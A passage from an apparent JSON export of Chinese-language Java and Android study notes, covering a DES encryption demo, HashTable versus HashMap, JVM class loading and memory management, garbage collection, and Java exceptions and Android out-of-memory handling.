\"VKFdg0bpAy3irJouw+IG69DUewM4W4a1u7h8i76pCLLxP5gIYqKqKgm97itSQe8ZV3qbG9gNxMrg\\n\" +\n                \"aUQ+fCE3TvsP07RdLW9Dn6Mazxnq7wnw9X2Qj9+sTl+hLLKhL+ZlHIJk5wvvmTz6OikBCmYmdEZb\\n\" +\n                \"Q1Prg0CgHVrFy4JOc9rTCmLnieHBG/xVwI5AOp42NUOk/Ycc7EIuzQ4tKEGS7RjmcpKEUMkog5c5\\n\" +\n                \"k693mGsn2VUQNeRPmfrcN7Ra+L18fvKMs1ESEjrUR/GpHwg6UcCBfBh8r/B5bYdoV2ik02liSVzX\\n\" +\n                \"Kt5vzA3ZjC5mvkF/RJJUoCUa6j3xqznjJhmABsN23gOcRh8RRWb8VGI2xD8ErYwuZr5Bf0SSTyTL\\n\" +\n                \"p6dacHJIz1u6+TEr9OfinHoMzBwXETOkAnPOt/YdwGw8/MM41w==\";\n\n        BASE64Decoder base64decoder = new BASE64Decoder();\n        byte[] encodeByte = base64decoder.decodeBuffer(miwen);\n\n\n        //直接将如上内容解密\n        try {\n            byte[] decryResult = Test.decrypt(encodeByte, \"\");\n            System.out.println(\"解密后：\" + new String(decryResult));\n        } catch (Exception e1) {\n            e1.printStackTrace();\n        }\n\n    }\n\n    /**\n     * 加密\n     */\n    public static byte[] encrypt(byte[] datasource, String password) {\n        try {\n            SecureRandom random = new SecureRandom();\n            DESKeySpec desKey = new DESKeySpec(password.getBytes());\n            //创建一个密匙工厂，然后用它把DESKeySpec转换成\n            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\n            SecretKey securekey = keyFactory.generateSecret(desKey);\n            //Cipher对象实际完成加密操作\n            Cipher cipher = Cipher.getInstance(\"DES\");\n            //用密匙初始化Cipher对象\n            cipher.init(Cipher.ENCRYPT_MODE, securekey, random);\n            //现在，获取数据并加密\n            //正式执行加密操作\n            return cipher.doFinal(datasource);\n        } catch (Throwable e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /*\n     * 解密\n     */\n    private static byte[] decrypt(byte[] src, String password) throws Exception {\n        // DES算法要求有一个可信任的随机数源\n        SecureRandom random = new SecureRandom();\n        // 创建一个DESKeySpec对象\n        DESKeySpec desKey = new DESKeySpec(password.getBytes());\n        // 创建一个密匙工厂\n        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\n        // 将DESKeySpec对象转换成SecretKey对象\n        SecretKey securekey = keyFactory.generateSecret(desKey);\n        // Cipher对象实际完成解密操作\n        Cipher cipher = Cipher.getInstance(\"DES\");\n        // 用密匙初始化Cipher对象\n        cipher.init(Cipher.DECRYPT_MODE, securekey, random);\n        // 真正开始解密操作\n        return cipher.doFinal(src);\n    }\n}\n\n```"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/HashTable和HashMap的异同.md",
    "content": "# HashTable和HashMap的异同\n\n- HashTable\n\n    1. Hashtable继承于Dictionary字典，实现Map接口  \n\n    2. 键、值都不能是空对象 \n \n    3. 多次访问，映射元素的顺序相同  \n \n    4. 线程安全 \n \n\n    5. hash算法 ，Hashtable则直接利用key本身的hash码来做验证 \n\n    6. 数据遍历的方式 Iterator （支持fast-fail）和 Enumeration （不支持fast-fail） \n \n    7. 缺省初始长度为11，内部都为抽象方法，需要 它的实现类一一作自己的实现 \n\n备注：程序在对 collection 进行迭代时，某个线程对该 collection 在结构上对其做了修改，这时迭代器就会抛出 ConcurrentModificationException 异常信息，从而产生 fail-fast。\n\n----\n\n - HashMap\n\n    1. HashMap继承于AbstractMap抽象类 \n \n    2. 键和值都可以是空对象  \n \n    3. 多次访问，映射元素的顺序可能不同  \n \n    4. 非线程安全 \n HashMap可以通过下面的语句进行同步：\n``Map m = Collections.synchronizeMap(hashMap);``\n \n    5. 检测是否含有key时，HashMap内部需要将key的hash码重新计算一边再检测数据遍历的方式 Iterator （支持fast-fail）\n \n    6. 缺省初始长度为16，其内部已经实现了Map所需 要做的大部分工作， 它的子类只需要实现它的少量方法\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/JVM类加载器.md",
    "content": "# 虚拟机类加载机制\n\n**虚拟机把描述类的数据从Class文件加载到内存，并对数据进行校验、转换解析和初始化，最终形成可以被Java虚拟机直接使用的Java类型，这就是虚拟机的类加载机制。**\n\n类从被加载到虚拟内存中开始，到卸载内存为止，它的整个生命周期包括了：加载(Loading)、验证(Verification)、准备(Preparation)、解析(Resolution)、初始化(Initialization)、使用(Using)和卸载(Unloading)七个阶段。其中，验证，准备和解析三个部分统称为连接(Linking)。\n\n### 类加载的过程\n类加载的全过程，加载，验证，准备，解析和初始化这五个阶段。\n\n\n\n#### 加载\n在加载阶段，虚拟机需要完成以下三件事情：\n\n* 通过一个类的全限定名来获取定义此类的二进制字节流\n* 将这个字节流所代表的静态存储结构转换为方法区的运行时数据结构\n* 在Java堆中生成一个代表这个类的java.lang.Class对象，作为方法区这些数据的访问入口\n\n#### 验证\n这一阶段的目的是为了确保Class文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。不同的虚拟机对类验证的实现可能有所不同，但大致上都会完成下面四个阶段的检验过程：文件格式验证、元数据验证、字节码验证和符号引用验证。\n\n**文件格式验证**\n\n第一阶段要验证字节流是否符合Class文件格式的规范，并且能被当前版本的虚拟机处理。\n\n**元数据验证**\n\n第二阶段是对字节码描述的信息进行语义分析，以保证其描述的信息符合Java语言规范的要求。\n\n**字节码验证**\n\n第三阶段时整个验证过程中最复杂的一个阶段，主要工作是数据流和控制流的分析。在第二阶段对元数据信息中的数据类型做完校验后，这阶段将对类的方法体进行校验分析。这阶段的任务是保证被校验类的方法在运行时不会做出危害虚拟机安全的行为。\n\n**符号引用验证**\n\n最后一个阶段的校验发生在虚拟机将符号引用直接转化为直接引用的时候，这个转化动作将在连接的第三个阶段－解析阶段产生。符号引用验证可以看作是对类自身以外（常量池中的各种符号引用）的信息进行匹配性的校验。\n\n#### 准备\n准备阶段是正式为类变量分配内存并设置类变量初始值的阶段，这些内存都将在方法区进行分配。\n\n#### 解析\n解析阶段是虚拟机将常量池的符号引用转换为直接引用的过程。解析动作主要针对类或接口、字段、类方法、接口方法四类符号引用进行。\n\n* 类或接口的解析\n* 字段解析\n* 类方法解析\n* 接口方法解析\n\n#### 初始化\n前面的类加载过程中，除了在加载阶段用户应用程序可以通过自定义类加载器参与之外，其余动作完全由Java虚拟机主导和控制。到了初始化阶段，才真正开始执行类中定义的Java程序代码（或者说是字节码）。在准备阶段，变量已经赋过一次系统要求的初始值，而在初始化阶段，则是根据程序员通过程序制定的主观计划去初始化类变量和其他资源，或者说初始化阶段是执行类构造器<clinit>()方法的过程。\n\n### 类加载器\n---\n#### 类与类加载器\n虚拟机设计团队把类加载阶段中的\"通过一个类的全限定名来获取描述此类的二进制字节流\"这个动作放到Java虚拟机外部去实现，以便让程序自己决定如何去获取所需的类。实现这个动作的代码模块被称为\"类加载器\"。\n\n#### 双亲委派模型\n站在Java虚拟机的角度讲，只存在两种不同的类加载器：一种是启动类加载器(Bootstrap ClassLoader)，这个类加载器使用C++语言实现，是虚拟机自身的一部分；另外一种就是所有其他的类加载器，这些类加载器都由Java语言实现，独立于虚拟机外部，并且全部继承自抽象类java.lang.ClassLoader。从Java开发人员的角度来看，类加载器还可以分得更细致一些，绝大部分Java程序都会使用到以下三种系统提供的类加载器：\n\n* 启动类加载器\n* 扩展类加载器\n* 应用程序类加载器\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/JVM虚拟机基础知识.md",
    "content": "# JVM\n\n\n**内存模型以及分区，需要详细到每个区放什么。**\n\n[http://blog.csdn.net/ns_code/article/details/17565503](http://blog.csdn.net/ns_code/article/details/17565503)\n\nJVM所管理的内存分为以下几个运行时数据区：程序计数器、Java虚拟机栈、本地方法栈、Java堆、方法区。\n\n![](http://img.blog.csdn.net/20131226151744250)\n\n程序计数器(Program Counter Register)\n\n一块较小的内存空间，它是当前线程所执行的字节码的行号指示器，字节码解释器工作时通过改变该计数器的值来选择下一条需要执行的字节码指令，分支、跳转、循环等基础功能都要依赖它来实现。每条线程都有一个独立的的程序计数器，各线程间的计数器互不影响，因此该区域是线程私有的。\n\n当线程在执行一个Java方法时，该计数器记录的是正在执行的虚拟机字节码指令的地址，当线程在执行的是Native方法（调用本地操作系统方法）时，该计数器的值为空。另外，该内存区域是唯一一个在Java虚拟机规范中么有规定任何OOM（内存溢出：OutOfMemoryError）情况的区域。\n\nJava虚拟机栈（Java Virtual Machine Stacks）\n\n该区域也是线程私有的，它的生命周期也与线程相同。虚拟机栈描述的是Java方法执行的内存模型：每个方法被执行的时候都会同时创建一个栈帧，栈它是用于支持续虚拟机进行方法调用和方法执行的数据结构。对于执行引擎来讲，活动线程中，只有栈顶的栈帧是有效的，称为当前栈帧，这个栈帧所关联的方法称为当前方法，执行引擎所运行的所有字节码指令都只针对当前栈帧进行操作。栈帧用于存储局部变量表、操作数栈、动态链接、方法返回地址和一些额外的附加信息。在编译程序代码时，栈帧中需要多大的局部变量表、多深的操作数栈都已经完全确定了，并且写入了方法表的Code属性之中。因此，一个栈帧需要分配多少内存，不会受到程序运行期变量数据的影响，而仅仅取决于具体的虚拟机实现。\n\n本地方法栈（Native Method Stacks）\n\n该区域与虚拟机栈所发挥的作用非常相似，只是虚拟机栈为虚拟机执行Java方法服务，而本地方法栈则为使用到的本地操作系统（Native）方法服务。\n\nJava堆（Java Heap）\n\nJava Heap是Java虚拟机所管理的内存中最大的一块，它是所有线程共享的一块内存区域。几乎所有的对象实例和数组都在这类分配内存。Java Heap是垃圾收集器管理的主要区域，因此很多时候也被称为“GC堆”。\n\n根据Java虚拟机规范的规定，Java堆可以处在物理上不连续的内存空间中，只要逻辑上是连续的即可。如果在堆中没有内存可分配时，并且堆也无法扩展时，将会抛出OutOfMemoryError异常。   \n\n方法区（Method Area）\n\n方法区也是各个线程共享的内存区域，它用于存储已经被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。方法区域又被称为“永久代”，但这仅仅对于Sun HotSpot来讲，JRockit和IBM J9虚拟机中并不存在永久代的概念。Java虚拟机规范把方法区描述为Java堆的一个逻辑部分，而且它和Java Heap一样不需要连续的内存，可以选择固定大小或可扩展，另外，虚拟机规范允许该区域可以选择不实现垃圾回收。相对而言，垃圾收集行为在这个区域比较少出现。该区域的内存回收目标主要针是对废弃常量的和无用类的回收。运行时常量池是方法区的一部分，Class文件中除了有类的版本、字段、方法、接口等描述信息外，还有一项信息是常量池（Class文件常量池），用于存放编译器生成的各种字面量和符号引用，这部分内容将在类加载后存放到方法区的运行时常量池中。运行时常量池相对于Class文件常量池的另一个重要特征是具备动态性，Java语言并不要求常量一定只能在编译期产生，也就是并非预置入Class文件中的常量池的内容才能进入方法区的运行时常量池，运行期间也可能将新的常量放入池中，这种特性被开发人员利用比较多的是String类的intern（）方法。\n\n根据Java虚拟机规范的规定，当方法区无法满足内存分配需求时，将抛出OutOfMemoryError异常。\n\n**内存泄漏和内存溢出的差别**\n\n内存泄露是指分配出去的内存没有被回收回来，由于失去了对该内存区域的控制，因而造成了资源的浪费。Java中一般不会产生内存泄露，因为有垃圾回收器自动回收垃圾，但这也不绝对，当我们new了对象，并保存了其引用，但是后面一直没用它，而垃圾回收器又不会去回收它，这边会造成内存泄露，\n\n内存溢出是指程序所需要的内存超出了系统所能分配的内存（包括动态扩展）的上限。\n\n**类型擦除**\n\n[http://blog.csdn.net/ns_code/article/details/18011009](http://blog.csdn.net/ns_code/article/details/18011009)\n\nJava语言在JDK1.5之后引入的泛型实际上只在程序源码中存在，在编译后的字节码文件中，就已经被替换为了原来的原生类型，并且在相应的地方插入了强制转型代码，因此对于运行期的Java语言来说，`ArrayList<String>`和`ArrayList<Integer>`就是同一个类。所以泛型技术实际上是Java语言的一颗语法糖，Java语言中的泛型实现方法称为类型擦除，基于这种方法实现的泛型被称为伪泛型。\n\n下面是一段简单的Java泛型代码：\n\n```\nMap<Integer,String> map = new HashMap<Integer,String>();  \nmap.put(1,\"No.1\");  \nmap.put(2,\"No.2\");  \nSystem.out.println(map.get(1));  \nSystem.out.println(map.get(2));  \n````\n\n将这段Java代码编译成Class文件，然后再用字节码反编译工具进行反编译后，将会发现泛型都变回了原生类型，如下面的代码所示：\n\n```\nMap map = new HashMap();  \nmap.put(1,\"No.1\");  \nmap.put(2,\"No.2\");  \nSystem.out.println((String)map.get(1));  \nSystem.out.println((String)map.get(2));  \n```\n\n为了更详细地说明类型擦除，再看如下代码：\n\n```\nimport java.util.List;  \npublic class FanxingTest{  \n    public void method(List<String> list){  \n        System.out.println(\"List String\");  \n    }  \n    public void method(List<Integer> list){  \n        System.out.println(\"List Int\");  \n    }  \n}  \n```\n\n当我用Javac编译器编译这段代码时，报出了如下错误：\n\n\n```\nFanxingTest.java:3: 名称冲突：method(java.util.List<java.lang.String>) 和 method\n\n(java.util.List<java.lang.Integer>) 具有相同疑符\n\npublic void method(List<String> list){\n\n^\n\nFanxingTest.java:6: 名称冲突：method(java.util.List<java.lang.Integer>) 和 metho\n\nd(java.util.List<java.lang.String>) 具有相同疑符\n\npublic void method(List<Integer> list){\n\n^\n```\n\n2 错误\n\n\n这是因为泛型List<String>和List<Integer>编译后都被擦除了，变成了一样的原生类型List，擦除动作导致这两个方法的特征签名变得一模一样，在Class类文件结构一文中讲过，Class文件中不能存在特征签名相同的方法。\n\n把以上代码修改如下：\n\n```\nimport java.util.List;  \npublic class FanxingTest{  \n    public int method(List<String> list){  \n        System.out.println(\"List String\");  \n        return 1;  \n    }  \n    public boolean method(List<Integer> list){  \n        System.out.println(\"List Int\");  \n        return true;  \n    }  \n}  \n```\n\n发现这时编译可以通过了（注意：Java语言中true和1没有关联，二者属于不同的类型，不能相互转换，不存在C语言中整数值非零即真的情况）。两个不同类型的返回值的加入，使得方法的重载成功了。这是为什么呢？\n\n    我们知道，Java代码中的方法特征签名只包括了方法名称、参数顺序和参数类型，并不包括方法的返回值，因此方法的返回值并不参与重载方法的选择，这样看来为重载方法加入返回值貌似是多余的。对于重载方法的选择来说，这确实是多余的，但我们现在要解决的问题是让上述代码能通过编译，让两个重载方法能够合理地共存于同一个Class文件之中，这就要看字节码的方法特征签名，它不仅包括了Java代码中方法特征签名中所包含的那些信息，还包括方法返回值及受查异常表。为两个重载方法加入不同的返回值后，因为有了不同的字节码特征签名，它们便可以共存于一个Class文件之中。\n\n**堆里面的分区：Eden，survival from to，老年代，各自的特点。**\n\n\n\n**对象创建方法，对象的内存分配，对象的访问定位。**\n\n对内存分配情况分析最常见的示例便是对象实例化:\n\n```\nObject obj = new Object();\n```\n\n这段代码的执行会涉及java栈、Java堆、方法区三个最重要的内存区域。假设该语句出现在方法体中，及时对JVM虚拟机不了解的Java使用这，应该也知道obj会作为引用类型（reference）的数据保存在Java栈的本地变量表中，而会在Java堆中保存该引用的实例化对象，但可能并不知道，Java堆中还必须包含能查找到此对象类型数据的地址信息（如对象类型、父类、实现的接口、方法等），这些类型数据则保存在方法区中。\n\n另外，由于reference类型在Java虚拟机规范里面只规定了一个指向对象的引用，并没有定义这个引用应该通过哪种方式去定位，以及访问到Java堆中的对象的具体位置，因此不同虚拟机实现的对象访问方式会有所不同，主流的访问方式有两种：使用句柄池和直接使用指针。\n\n\n\n**GC的两种判定方法：引用计数与引用链。**\n\n引用计数方式最基本的形态就是让每个被管理的对象与一个引用计数器关联在一起，该计数器记录着该对象当前被引用的次数，每当创建一个新的引用指向该对象时其计数器就加1，每当指向该对象的引用失效时计数器就减1。当该计数器的值降到0就认为对象死亡。\n\nJava的内存回收机制可以形象地理解为在堆空间中引入了重力场，已经加载的类的静态变量和处于活动线程的堆栈空间的变量是这个空间的牵引对象。这里牵引对象是指按照Java语言规范，即便没有其它对象保持对它的引用也不能够被回收的对象，即Java内存空间中的本原对象。当然类可能被去加载，活动线程的堆栈也是不断变化的，牵引对象的集合也是不断变化的。对于堆空间中的任何一个对象，如果存在一条或者多条从某个或者某几个牵引对象到该对象的引用链，则就是可达对象，可以形象地理解为从牵引对象伸出的引用链将其拉住，避免掉到回收池中。\n\n**GC的三种收集方法：标记清除、标记整理、复制算法的原理与特点，分别用在什么地方，如果让你优化收集方法，有什么思路？**\n\n标记清除算法是最基础的收集算法，其他收集算法都是基于这种思想。标记清除算法分为“标记”和“清除”两个阶段：首先标记出需要回收的对象，标记完成之后统一清除对象。它的主要缺点：①.标记和清除过程效率不高 。②.标记清除之后会产生大量不连续的内存碎片。\n\n标记整理，标记操作和“标记-清除”算法一致，后续操作不只是直接清理对象，而是在清理无用对象完成后让所有存活的对象都向一端移动，并更新引用其对象的指针。主要缺点：在标记-清除的基础上还需进行对象的移动，成本相对较高，好处则是不会产生内存碎片。\n\n复制算法，它将可用内存容量划分为大小相等的两块，每次只使用其中的一块。当这一块用完之后，就将还存活的对象复制到另外一块上面，然后在把已使用过的内存空间一次理掉。这样使得每次都是对其中的一块进行内存回收，不会产生碎片等情况，只要移动堆订的指针，按顺序分配内存即可，实现简单，运行高效。主要缺点：内存缩小为原来的一半。\n\n\n**Minor GC与Full GC分别在什么时候发生？**\n\nMinor GC：通常是指对新生代的回收。指发生在新生代的垃圾收集动作，因为 Java 对象大多都具备朝生夕灭的特性，所以 Minor GC 非常频繁，一般回收速度也比较快\n\nMajor GC：通常是指对年老代的回收。\n\nFull GC：Major GC除并发gc外均需对整个堆进行扫描和回收。指发生在老年代的 GC，出现了 Major GC，经常会伴随至少一次的 Minor GC（但非绝对的，在 ParallelScavenge 收集器的收集策略里就有直接进行 Major GC 的策略选择过程） 。MajorGC 的速度一般会比 Minor GC 慢 10倍以上。\n\n**几种常用的内存调试工具：jmap、jstack、jconsole。**\n\njmap（linux下特有，也是很常用的一个命令）观察运行中的jvm物理内存的占用情况。\n参数如下：\n-heap：打印jvm heap的情况\n-histo：打印jvm heap的直方图。其输出信息包括类名，对象数量，对象占用大小。\n-histo：live ：同上，但是只答应存活对象的情况\n-permstat：打印permanent generation heap情况\njstack（linux下特有）可以观察到jvm中当前所有线程的运行情况和线程当前状态\njconsole一个图形化界面，可以观察到java进程的gc，class，内存等信息\njstat最后要重点介绍下这个命令。这是jdk命令中比较重要，也是相当实用的一个命令，可以观察到classloader，compiler，gc相关信息\n具体参数如下：\n-class：统计class loader行为信息\n-compile：统计编译行为信息\n-gc：统计jdk gc时heap信息\n-gccapacity：统计不同的generations（不知道怎么翻译好，包括新生区，老年区，permanent区）相应的heap容量情况\n-gccause：统计gc的情况，（同-gcutil）和引起gc的事件\n-gcnew：统计gc时，新生代的情况\n-gcnewcapacity：统计gc时，新生代heap容量\n-gcold：统计gc时，老年区的情况\n-gcoldcapacity：统计gc时，老年区heap容量\n-gcpermcapacity：统计gc时，permanent区heap容量\n-gcutil：统计gc时，heap情况\n-printcompilation：不知道干什么的，一直没用过。\n\n**类加载的五个过程：加载、验证、准备、解析、初始化。**\n\n类加载过程\n\n类从被加载到虚拟机内存中开始，到卸载出内存为止，它的整个生命周期包括加载、验证、准备、解析、初始化、使用、卸载。\n\n其中类加载的过程包括了加载、验证、准备、解析、初始化五个阶段。在这五个阶段中，加载、验证、准备和初始化这四个阶段发生的顺序是确定的，而解析阶段则不一定，它在某些情况下可以在初始化阶段之后开始，这是为了支持Java语言的运行时绑定（也成为动态绑定或晚期绑定）。另外注意这里的几个阶段是按顺序开始，而不是按顺序进行或完成，因为这些阶段通常都是互相交叉地混合进行的，通常在一个阶段执行的过程中调用或激活另一个阶段。\n\n这里简要说明下Java中的绑定：绑定指的是把一个方法的调用与方法所在的类(方法主体)关联起来，对java来说，绑定分为静态绑定和动态绑定：\n\n* 静态绑定：即前期绑定。在程序执行前方法已经被绑定，此时由编译器或其它连接程序实现。针对java，简单的可以理解为程序编译期的绑定。java当中的方法只有final，static，private和构造方法是前期绑定的。\n* 动态绑定：即晚期绑定，也叫运行时绑定。在运行时根据具体对象的类型进行绑定。在java中，几乎所有的方法都是后期绑定的。\n\n“加载”(Loading)阶段是“类加载”(Class Loading)过程的第一个阶段，在此阶段，虚拟机需要完成以下三件事情：\n\n1. 通过一个类的全限定名来获取定义此类的二进制字节流。\n2. 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。\n3. 在Java堆中生成一个代表这个类的java.lang.Class对象，作为方法区这些数据的访问入口。\n\n验证是连接阶段的第一步，这一阶段的目的是为了确保Class文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。\n\n准备阶段是为类的静态变量分配内存并将其初始化为默认值，这些内存都将在方法区中进行分配。准备阶段不分配类中的实例变量的内存，实例变量将会在对象实例化时随着对象一起分配在Java堆中。\n\n解析阶段是虚拟机将常量池内的符号引用替换为直接引用的过程。\n\n类初始化是类加载过程的最后一步，前面的类加载过程，除了在加载阶段用户应用程序可以通过自定义类加载器参与之外，其余动作完全由虚拟机主导和控制。到了初始化阶段，才真正开始执行类中定义的Java程序代码。\n\n\n\n**双亲委派模型：Bootstrap ClassLoader、Extension ClassLoader、ApplicationClassLoader。**\n\n1. 启动类加载器，负责将存放在<JAVA_HOME>\\lib目录中的，或者被-Xbootclasspath参数所指定的路径中，并且是虚拟机识别的（仅按照文件名识别，如rt.jar，名字不符合的类库即时放在lib目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被java程序直接引用。\n2. 扩展类加载器：负责加载<JAVA_HOME>\\lib\\ext目录中的，或者被java.ext.dirs系统变量所指定的路径中的所有类库，开发者可以直接使用该类加载器。\n3. 应用程序类加载器：负责加载用户路径上所指定的类库，开发者可以直接使用这个类加载器，也是默认的类加载器。\n三种加载器的关系：启动类加载器->扩展类加载器->应用程序类加载器->自定义类加载器。\n\n这种关系即为类加载器的双亲委派模型。其要求除启动类加载器外，其余的类加载器都应当有自己的父类加载器。这里类加载器之间的父子关系一般不以继承关系实现，而是用组合的方式来复用父类的代码。\n\n双亲委派模型的工作过程：如果一个类加载器接收到了类加载的请求，它首先把这个请求委托给他的父类加载器去完成，每个层次的类加载器都是如此，因此所有的加载请求都应该传送到顶层的启动类加载器中，只有当父加载器反馈自己无法完成这个加载请求（它在搜索范围中没有找到所需的类）时，子加载器才会尝试自己去加载。\n\n好处：java类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类java.lang.Object，它存放在rt.jar中，无论哪个类加载器要加载这个类，最终都会委派给启动类加载器进行加载，因此Object类在程序的各种类加载器环境中都是同一个类。相反，如果用户自己写了一个名为java.lang.Object的类，并放在程序的Classpath中，那系统中将会出现多个不同的Object类，java类型体系中最基础的行为也无法保证，应用程序也会变得一片混乱。\n\n实现：在java.lang.ClassLoader的loadClass()方法中，先检查是否已经被加载过，若没有加载则调用父类加载器的loadClass()方法，若父加载器为空则默认使用启动类加载器作为父加载器。如果父加载失败，则抛出ClassNotFoundException异常后，再调用自己的findClass()方法进行加载。\n\n\n**分派：静态分派与动态分派。**\n\n静态分派与重载有关，虚拟机在重载时是通过参数的静态类型，而不是运行时的实际类型作为判定依据的；静态类型在编译期是可知的；\n动态分派与重写（Override）相关，invokevirtual(调用实例方法)指令执行的第一步就是在运行期确定接收者的实际类型，根据实际类型进行方法调用；\n\n**GC收集器有哪些？CMS收集器与G1收集器的特点。**\n\n\n\n**自动内存管理机制，GC算法，运行时数据区结构，可达性分析工作原理，如何分配对象内存**\n\n**反射机制，双亲委派机制，类加载器的种类**\n\n**Jvm内存模型，先行发生原则，violate关键字作用**"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java中Error和Exception.md",
    "content": "# Java中Error和Exception\n\nJava 异常类继承关系图：\n\n![](http://img.blog.csdn.net/20160412143252629)\n\n \n（一）Throwable\n\n　　Throwable 类是 Java 语言中所有错误或异常的超类。只有当对象是此类或其子类之一的实例时，才能通过 Java 虚拟机或者 Java throw 语句抛出，才可以是 catch 子句中的参数类型。\n　　Throwable 类及其子类有两个构造方法，一个不带参数，另一个带有 String 参数，此参数可用于生成详细消息。\n　　Throwable 包含了其线程创建时线程执行堆栈的快照。它还包含了给出有关错误更多信息的消息字符串。\n　　\nJava将可抛出(Throwable)的结构分为三种类型：\n　　1. 错误(Error)\n　　2. 运行时异常(RuntimeException)\n　　3. 被检查的异常(Checked Exception)\n\n　１.**Error** \n　　Error 是 Throwable 的子类，用于指示合理的应用程序不应该试图捕获的严重问题。大多数这样的错误都是异常条件。\n　　和RuntimeException一样， 编译器也不会检查Error。\n　　当资源不足、约束失败、或是其它程序无法继续运行的条件发生时，就产生错误，程序本身无法修复这些错误的。\n　　\n　２.**Exception** \n　　Exception 类及其子类是 Throwable 的一种形式，它指出了合理的应用程序想要捕获的条件。\n　　 对于可以恢复的条件使用**被检查异常**（Exception的子类中除了RuntimeException之外的其它子类），对于程序错误使用运行时异常。　\n　　 \n2.1　ClassNotFoundException\n　　\n当应用程序试图使用以下方法通过字符串名加载类时：\nClass 类中的 forName 方法。\nClassLoader 类中的 findSystemClass 方法。\nClassLoader 类中的 loadClass 方法。\n但是没有找到具有指定名称的类的定义，抛出该异常。\n\n2.2　CloneNotSupportedException\n\t\n当调用 Object 类中的 clone 方法复制对象，但该对象的类无法实现 Cloneable 接口时，抛出该异常。重写 clone 方法的应用程序也可能抛出此异常，指示不能或不应复制一个对象。\n　\n\n2.3　IOException\n当发生某种 I/O 异常时，抛出此异常。此类是失败或中断的 I/O 操作生成的异常的通用类。\n\n- EOFException\n    \n    当输入过程中意外到达文件或流的末尾时，抛出此异常。\n此异常主要被**数据输入流**用来表明到达流的末尾。\n注意：其他许多输入操作返回一个特殊值表示到达流的末尾，而不是抛出异常。\n　　　　\n- FileNotFoundException\n    \n    当试图打开指定路径名表示的文件失败时，抛出此异常。在不存在具有指定路径名的文件时，此异常将由 FileInputStream、FileOutputStream 和 RandomAccessFile 构造方法抛出。如果该文件存在，但是由于某些原因不可访问，比如试图打开一个只读文件进行写入，则此时这些构造方法仍然会抛出该异常。\n\n- MalformedURLException\n    \n    抛出这一异常指示出现了错误的 URL。或者在规范字符串中找不到任何合法协议，或者无法解析字符串。　\n　\n－UnknownHostException\n　　指示主机 IP 地址无法确定而抛出的异常。\n\n2.4　RuntimeException\n　　 是那些可能在 Java 虚拟机正常运行期间抛出的异常的超类。可能在执行方法期间抛出但未被捕获的 RuntimeException 的任何子类都无需在 throws 子句中进行声明。\n　　 Java编译器不会检查它。当程序中可能出现这类异常时，还是会编译通过。\n　　 虽然Java编译器不会检查运行时异常，但是我们也可以通过throws进行声明抛出，也可以通过try-catch对它进行捕获处理。\n\n- ArithmeticException\n\t\n\t当出现异常的运算条件时，抛出此异常。例如，一个整数“除以零”时，抛出此类的一个实例。\n\n- ClassCastException\n    \n    当试图将对象强制转换为不是实例的子类时，抛出该异常。\n例如：Object x = new Integer(0);\n\n- LllegalArgumentException\n    \n    抛出的异常表明向方法传递了一个不合法或不正确的参数。\n\n- IllegalStateException\n    \n    在非法或不适当的时间调用方法时产生的信号。换句话说，即 Java 环境或 Java 应用程序没有处于请求操作所要求的适当状态下。\n\n- IndexOutOfBoundsException　\n    \n    指示某排序索引（例如对数组、字符串或向量的排序）超出范围时抛出。\n应用程序可以为这个类创建子类，以指示类似的异常。\n\n- NoSuchElementException\n    \n    由 Enumeration 的 nextElement 方法抛出，表明枚举中没有更多的元素。\n\n- NullPointerException\n    \n    当应用程序试图在需要对象的地方使用 null 时，抛出该异常。这种情况包括：\n调用 null 对象的实例方法。\n访问或修改 null 对象的字段。\n将 null 作为一个数组，获得其长度。\n将 null 作为一个数组，访问或修改其时间片。\n将 null 作为 Throwable 值抛出。\n应用程序应该抛出该类的实例，指示其他对 null 对象的非法使用。\n\n\n\n（二） SOF （堆栈溢出 StackOverflow）\t\n\n> StackOverflowError 的定义： \n> 当应用程序递归太深而发生堆栈溢出时，抛出该错误。\n> \n因为栈一般默认为1-2m，一旦出现死循环或者是大量的递归调用，在不断的压栈过程中，造成栈容量超过1m而导致溢出。 \n\n栈溢出的原因：\n\n1. 递归调用\n\n2. 大量循环或死循环\n\n3. 全局变量是否过多\n\n4. 数组、List、map数据过大\n\t\n\n\n（三）Android的ＯＯＭ（Out Of Memory）\n\n　　当内存占有量超过了虚拟机的分配的最大值时就会产生内存溢出（VM里面分配不出更多的page）。\n　　\n一般出现情况：加载的图片太多或图片过大时、分配特大的数组、内存相应资源过多没有来不及释放。\n\n解决方法：\n\n①在内存引用上做处理\n\n  软引用是主要用于内存敏感的高速缓存。在jvm报告内存不足之前会清除所有的软引用，这样以来gc就有可能收集软可及的对象，可能解决内存吃紧问题，避免内存溢出。什么时候会被收集取决于gc的算法和gc运行时可用内存的大小。\n\n②对图片做边界压缩，配合软引用使用\n   　\n③显示的调用GC来回收内存　\n   　\n\n```\nif(bitmapObject.isRecycled()==false) //如果没有回收   \n         bitmapObject.recycle();  \n```\n　\n④优化Dalvik虚拟机的堆内存分配\n　　\n1.增强程序堆内存的处理效率\n\t　　\n\n```\n//在程序onCreate时就可以调用 即可 \nprivate final static floatTARGET_HEAP_UTILIZATION = 0.75f;  \n\nVMRuntime.getRuntime().setTargetHeapUtilization(TARGET_HEAP_UTILIZATION); \n```\n\n2.设置缓存大小\n\n```\nprivate final static int CWJ_HEAP_SIZE = 6* 1024* 1024 ; \n //设置最小heap内存为6MB大小 \nVMRuntime.getRuntime().setMinimumHeapSize(CWJ_HEAP_SIZE); \n```\n\n⑤ 用LruCache 和  AsyncTask<>解决\n\n　　从cache中去取Bitmap，如果取到Bitmap，就直接把这个Bitmap设置到ImageView上面。\n　　如果缓存中不存在，那么启动一个task去加载（可能从文件来，也可能从网络）。\n\n"
  },
  {
